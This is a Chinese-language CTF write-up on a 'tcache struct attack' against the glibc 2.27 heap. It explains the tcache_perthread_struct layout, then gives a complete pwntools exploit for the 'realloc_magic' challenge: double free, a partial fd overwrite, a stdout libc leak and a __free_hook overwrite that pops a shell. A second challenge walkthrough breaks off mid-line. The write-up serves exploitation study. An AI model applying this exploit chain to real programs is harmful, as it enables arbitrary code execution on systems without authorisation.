随着CTF的水平的不断提升,原来的一些常规堆题的技术手段已经不足以撑起比较高水平的比赛的质量了。最近发现一类罕见的攻击手段,我姑且把它叫做tache struct attack,它区别于以往的tcache attack题目的篡改tache的fd指针,实现任意地址读写,更多的是利用tache链表保存在heap上的特性,在heap地址、libc地址等偏移地址未知以及申请堆块数量有限制的情况下在tcache attack技术上更进一步进行漏洞利用。相对于fastbin attack技术需要的利用条件更少,利用范围更广。本文只是对tcache struct attack技术的初步探讨,更多细节欢迎各路大佬与我讨论。
tcache_init(void) { mstate ar_ptr; void *victim = 0; const size_t bytes = sizeof (tcache_perthread_struct); if (tcache_shutting_down) return; arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim && ar_ptr != NULL) { ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr->mutex); /* In a low memory situation, we may not be able to allocate memory - in which case, we just keep trying later. However, we typically do this very early, so either there is sufficient memory, or there isn't enough memory to do non-trivial allocations anyway. */ if (victim) { tcache = (tcache_perthread_struct *) victim; memset (tcache, 0, sizeof (tcache_perthread_struct)); } }
在程序需要进行动态分配时,如果是使用TCACHE机制的话,会先对tcache进行初始化。跟其他bins不一样的是,tcache是用_int_malloc函数进行分配内存空间的,因此tcache结构体是位于heap段,而不是main_arena。
typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS];//0x40 tcache_entry *entries[TCACHE_MAX_BINS];//0x40 } tcache_perthread_struct;
tcache的结构是由0x40字节数量数组(每个字节代表对应大小tcache的数量)和0x200(0x40*8)字节的指针数组组成(每8个字节代表相应tache_entry链表的头部指针)。因此整个tcache_perthread_struct结构体大小为0x240。
结合示例程序观察tcache结构:
//64位 int main() { char* p = malloc(0x10); free(p); p = malloc(0x20); free(p); return 0; }
0x13db000: 0x0000000000000000 0x0000000000000251
0x13db010: 0x0000000000000101 0x0000000000000000
0x13db020: 0x0000000000000000 0x0000000000000000
0x13db030: 0x0000000000000000 0x0000000000000000
0x13db040: 0x0000000000000000 0x0000000000000000
0x13db050: 0x00000000013db260 0x00000000013db280
... : 0
0x13db250: 0x0000000000000000 0x0000000000000021
0x13db260: 0x0000000000000000 0x0000000000000000
0x13db270: 0x0000000000000000 0x0000000000000031
0x13db280: 0x0000000000000000 0x0000000000000000
0x13db290: 0x0000000000000000 0x0000000000000000
0x13db2a0: 0x0000000000000000 0x0000000000020d61
可以观察到从heap+0x10到heap+0x50每个字节都是counts,从heap+0x50到heap+0x250每8个字节都是tcache_entry指针。
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count)//<7 { tcache_put (p, tc_idx); return; } } #endif
在将chunk放入tcahce的时候会检查tcache->counts[tc_idx] < mp_.tcache_count
(无符号比较),也就是表示在tacha_entry链表中的tache数量是否小于7个。但值得注意的是,tcache->counts[tc_idx]是放在堆上的,因此如果可以修改堆上数据,可以将其改为较大的数,这样就不会将chunk放入tache了。
#if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif
而在tcache分配时,不会检查tcache->counts[tc_idx]的大小是否大于0,会造成下溢。
以下题目只侧重分析tcache struct攻击部分
int fr() { free(realloc_ptr); return puts("Done"); }
程序中free指针没有清零造成double free漏洞,利用realloc函数分配,没有输出函数,开启全保护。
利用double free漏洞修改fd的低2个字节指向heap开头,也就是tcache struct的位置。修改tcache->counts为很大的数,绕过检查。free掉unsortedbin,在tcache_entry上踩下main_arena地址,再部分覆盖攻击stdout泄露libc,最后用相同方法劫持free_hook。
rea(0x68) free() rea(0x18) rea(0) rea(0x48) free() rea(0)
利用悬空指针未清零形成double free。
heap = 0x7010 stdout= 0x2760 #dbg() #ipy() rea(0x68, 'a' * 0x18 + p64(0x201) + p16(heap))#size + fd
爆破部分覆盖tcache的fd指针低2个字节,使其指向tcache struct。同时修改size以便后面获得unsortedbin。
这一步因为需要爆破4位,成功概率为1/16。调试的时候,建议可以使用IPython库,方便实时调整变量的数据。
rea(0) rea(0x48) rea(0) rea(0x48, '\xff' * 0x40)
分配两次获得tache struct的指针,修改tcache->counts为0xff,使得后面free的chunk都不会进入tache中。
pwndbg> bin tcachebins 0x20 [ -1]: 0x561fd9868260 0x30 [ -1]: 0 0x40 [ -1]: 0 0x50 [ -1]: 0x1000002 0x60 [ -1]: 0 ... 0x1f0 [ -1]: 0 0x200 [ -1]: 0x561fd9868280
可以发现每个tcache对应的数量都变为-1,也就是0xff,由于检查是是无符号比较大小,所以-1>7,可以绕过检查。
rea(0x58, 'a' * 0x18 + '\x00' * 0x20 + p64(0x1f1) + p16(heap + 0x40))#change tcache fake chunk
由于realloc的特性,会将原来的指针(size=0x201)先释放,然后在从中分割出0x60大小的chunk,因此就可以在tcache_entry上留下main_arena地址。
rea(0) rea(0x18, p64(0) + p64(0))#chunk overlap rea(0) #stdout rea(0x1e8,p64(0) * 4 + p16(stdout))#tcache attack rea(0) rea(0x58, p64(0xfbad1800) + p64(0) * 3 +p8(0xc8)) lb = uu64(ru('\x7f',drop=False)[-6:])-libc.symbols['_IO_2_1_stdin_'] success('libc_base: ' + hex(lb))
此时将0x...50处的chunk的内容可以控制,这样就能部分覆盖掉位于0x..70处的main_arena的数据,修改tache_entry,就能实现任意地址写。这里选择攻击stdout来泄露libc,这里也需要爆破4位,因此总的成功概率为1/256。
最后用同样的方法修改相应大小的tache_entry指针,劫持free_hook来getshell。
sla('>> ',666)#ptr=0 rea(0x1e8, 'a' * 0x18 + p64(lb + libc.sym['__free_hook'] - 8)) rea(0) rea(0x48, '/bin/sh\x00' + p64(lb + libc.sym['system'])) free() irt()
from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] # # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './realloc_magic' ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc ctx.remote_libc = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' ctx.debug_remote_libc = True libc = ELF('/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') rs() ctx.breakpoints = [0xbcd] ctx.symbols = {'lst':0x202058,} logg=0 if logg: context.log_level = 'debug' def rea(sz, c='\n'): sla('>> ',1) sla('?', sz) if sz: sa('?', c) def free(): sla('>> ',2) #double free rea(0x68) free() rea(0x18) rea(0) rea(0x48) free() rea(0) heap = 0x7010 stdout= 0x2760 dbg() ipy() rea(0x68, 'a' * 0x18 + p64(0x201) + p16(heap))#size + fd rea(0) rea(0x48) rea(0) rea(0x48, '\xff' * 0x40) rea(0x58, 'a' * 0x18 + '\x00' * 0x20 + p64(0x1f1) + p16(heap + 0x40))#change tcache fake chunk rea(0) rea(0x18, p64(0) + p64(0))#chunk overlap rea(0) #stdout rea(0x1e8,p64(0) * 4 + p16(stdout))#tcache attack rea(0) rea(0x58, p64(0xfbad1800) + p64(0) * 3 +p8(0xc8)) lb = uu64(ru('\x7f',drop=False)[-6:])-libc.symbols['_IO_2_1_stdin_'] success('libc_addr: ' + hex(lb)) sla('>> ',666)#ptr=0 rea(0x1e8, 'a' * 0x18 + p64(lb + libc.sym['__free_hook'] - 8)) rea(0,) rea(0x48, '/bin/sh\x00' + p64(lb + libc.sym['system'])) free() irt()
printf("index:"); v1 = sub_B4E(); if ( v1 >= 0 && v1 <= 9 ) { if ( qword_202080[v1] ) ptr = (void *)qword_202080[v1]; if ( ptr ) { free(ptr);//double free qword_202080[v1] = 0LL; puts("done!"); }
程序中free指针同样是没有清零造成double free漏洞,没有输出函数,固定malloc的大小为0x40,开启全保护。
add('0') add('2') delete(0) delete(0) tcache = 0x6010#tcache_entry stdout = 0x6760 dbg() ipy() add(p16(tcache))#tcache attack add('0') add('\xff'*0x40)#tcache_count 0x6010
先利用double free漏洞部分覆盖fd指针为tcache结构体,将tcache->counts写成0xff使得chunk不会释放进tcache。
delete(3)#get unsortedbin add('\x01'*0x40)#recover tcache_count delete(0) edit(2,p16(stdout))#stdout attack
由于程序限制了malloc出来的chunk大小为0x40,而利用tcache struct attack可以获得tache struct结构体指针,从而将这块chunk free掉就可以绕过限制,在tcahce struct上踩出main_arena地址。
将大小为0x50对应的tcache_entry踩出main_arena地址,才能在malloc(0x40)时部分覆盖低2字节攻击stdout。
add('0') add(p64(0xfbad1800)+p64(0)*3+